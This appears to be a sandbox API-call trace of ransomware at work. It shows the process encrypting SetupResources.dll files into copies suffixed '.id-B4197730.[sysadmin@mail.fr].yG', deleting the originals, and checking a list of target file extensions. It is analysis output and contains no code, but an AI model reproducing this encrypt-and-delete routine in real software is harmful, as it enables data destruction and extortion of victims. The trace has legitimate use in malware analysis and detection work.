	[0042.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0042.304] lstrlenW (lpString=".jpg") returned 4
	[0042.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.304] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.304] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.304] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.306] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=17752) returned 1
	[0042.306] CloseHandle (hObject=0x338) returned 1
	[0042.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80
	[0042.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.306] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.306] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.308] GetLastError () returned 0x0
	[0042.308] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4558, lpOverlapped=0x0) returned 1
	[0042.326] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4560, lpOverlapped=0x0) returned 1
	[0042.327] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.327] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.327] SetEndOfFile (hFile=0x300) returned 1
	[0042.327] CloseHandle (hObject=0x300) returned 1
	[0042.328] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.328] SetEndOfFile (hFile=0x338) returned 1
	[0042.329] CloseHandle (hObject=0x338) returned 1
	[0042.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.330] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1
	[0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.330] lstrlenW (lpString=".doc") returned 4
	[0042.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString=".docx") returned 5
	[0042.330] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.330] lstrlenW (lpString=".pdf") returned 4
	[0042.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString=".xls") returned 4
	[0042.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString=".xlsx") returned 5
	[0042.330] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.330] lstrlenW (lpString=".ppt") returned 4
	[0042.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.330] lstrlenW (lpString=".zip") returned 4
	[0042.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString=".rar") returned 4
	[0042.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.330] lstrlenW (lpString=".bz2") returned 4
	[0042.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.330] lstrlenW (lpString=".7z") returned 3
	[0042.330] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".dbf") returned 4
	[0042.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".1cd") returned 4
	[0042.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".jpg") returned 4
	[0042.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".doc") returned 4
	[0042.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString=".docx") returned 5
	[0042.331] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.331] lstrlenW (lpString=".pdf") returned 4
	[0042.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString=".xls") returned 4
	[0042.331] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString=".xlsx") returned 5
	[0042.331] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.331] lstrlenW (lpString=".ppt") returned 4
	[0042.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".zip") returned 4
	[0042.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString=".rar") returned 4
	[0042.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.331] lstrlenW (lpString=".bz2") returned 4
	[0042.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.331] lstrlenW (lpString=".7z") returned 3
	[0042.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".dbf") returned 4
	[0042.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.331] lstrlenW (lpString=".1cd") returned 4
	[0042.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0042.332] lstrlenW (lpString=".jpg") returned 4
	[0042.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.332] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.332] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.332] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=17752) returned 1
	[0042.332] CloseHandle (hObject=0x338) returned 1
	[0042.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80
	[0042.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.332] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.332] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.334] GetLastError () returned 0x0
	[0042.334] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x4558, lpOverlapped=0x0) returned 1
	[0042.336] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x4560, lpOverlapped=0x0) returned 1
	[0042.337] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.337] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.337] SetEndOfFile (hFile=0x300) returned 1
	[0042.337] CloseHandle (hObject=0x300) returned 1
	[0042.338] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.338] SetEndOfFile (hFile=0x338) returned 1
	[0042.339] CloseHandle (hObject=0x338) returned 1
	[0042.339] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.340] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1
	[0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.340] lstrlenW (lpString=".doc") returned 4
	[0042.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString=".docx") returned 5
	[0042.340] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.340] lstrlenW (lpString=".pdf") returned 4
	[0042.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString=".xls") returned 4
	[0042.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString=".xlsx") returned 5
	[0042.340] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.340] lstrlenW (lpString=".ppt") returned 4
	[0042.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.340] lstrlenW (lpString=".zip") returned 4
	[0042.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString=".rar") returned 4
	[0042.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.340] lstrlenW (lpString=".bz2") returned 4
	[0042.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.340] lstrlenW (lpString=".7z") returned 3
	[0042.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.340] lstrlenW (lpString=".dbf") returned 4
	[0042.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".1cd") returned 4
	[0042.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".jpg") returned 4
	[0042.341] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".doc") returned 4
	[0042.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString=".docx") returned 5
	[0042.341] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.341] lstrlenW (lpString=".pdf") returned 4
	[0042.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString=".xls") returned 4
	[0042.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString=".xlsx") returned 5
	[0042.341] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.341] lstrlenW (lpString=".ppt") returned 4
	[0042.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".zip") returned 4
	[0042.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString=".rar") returned 4
	[0042.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.341] lstrlenW (lpString=".bz2") returned 4
	[0042.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.341] lstrlenW (lpString=".7z") returned 3
	[0042.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".dbf") returned 4
	[0042.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".1cd") returned 4
	[0042.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0042.341] lstrlenW (lpString=".jpg") returned 4
	[0042.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.342] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.342] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.342] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=14168) returned 1
	[0042.342] CloseHandle (hObject=0x338) returned 1
	[0042.342] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80
	[0042.342] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.342] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.342] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.344] GetLastError () returned 0x0
	[0042.344] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x3758, lpOverlapped=0x0) returned 1
	[0042.541] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x3760, lpOverlapped=0x0) returned 1
	[0042.543] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.543] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.543] SetEndOfFile (hFile=0x300) returned 1
	[0042.543] CloseHandle (hObject=0x300) returned 1
	[0042.544] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.544] SetEndOfFile (hFile=0x338) returned 1
	[0042.545] CloseHandle (hObject=0x338) returned 1
	[0042.545] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.545] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1
	[0042.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.545] lstrlenW (lpString=".doc") returned 4
	[0042.545] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.545] lstrlenW (lpString=".docx") returned 5
	[0042.545] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.545] lstrlenW (lpString=".pdf") returned 4
	[0042.545] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.545] lstrlenW (lpString=".xls") returned 4
	[0042.545] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.545] lstrlenW (lpString=".xlsx") returned 5
	[0042.545] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.545] lstrlenW (lpString=".ppt") returned 4
	[0042.545] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".zip") returned 4
	[0042.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".rar") returned 4
	[0042.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".bz2") returned 4
	[0042.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.546] lstrlenW (lpString=".7z") returned 3
	[0042.546] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".dbf") returned 4
	[0042.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".1cd") returned 4
	[0042.546] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".jpg") returned 4
	[0042.546] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".doc") returned 4
	[0042.546] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".docx") returned 5
	[0042.546] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.546] lstrlenW (lpString=".pdf") returned 4
	[0042.546] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".xls") returned 4
	[0042.546] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".xlsx") returned 5
	[0042.546] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.546] lstrlenW (lpString=".ppt") returned 4
	[0042.546] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.546] lstrlenW (lpString=".zip") returned 4
	[0042.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".rar") returned 4
	[0042.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.546] lstrlenW (lpString=".bz2") returned 4
	[0042.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.547] lstrlenW (lpString=".7z") returned 3
	[0042.547] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.547] lstrlenW (lpString=".dbf") returned 4
	[0042.547] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.547] lstrlenW (lpString=".1cd") returned 4
	[0042.547] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0042.547] lstrlenW (lpString=".jpg") returned 4
	[0042.547] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.547] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.547] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.547] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.547] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=14168) returned 1
	[0042.547] CloseHandle (hObject=0x338) returned 1
	[0042.547] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80
	[0042.547] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.547] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.547] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.548] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.548] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.624] GetLastError () returned 0x0
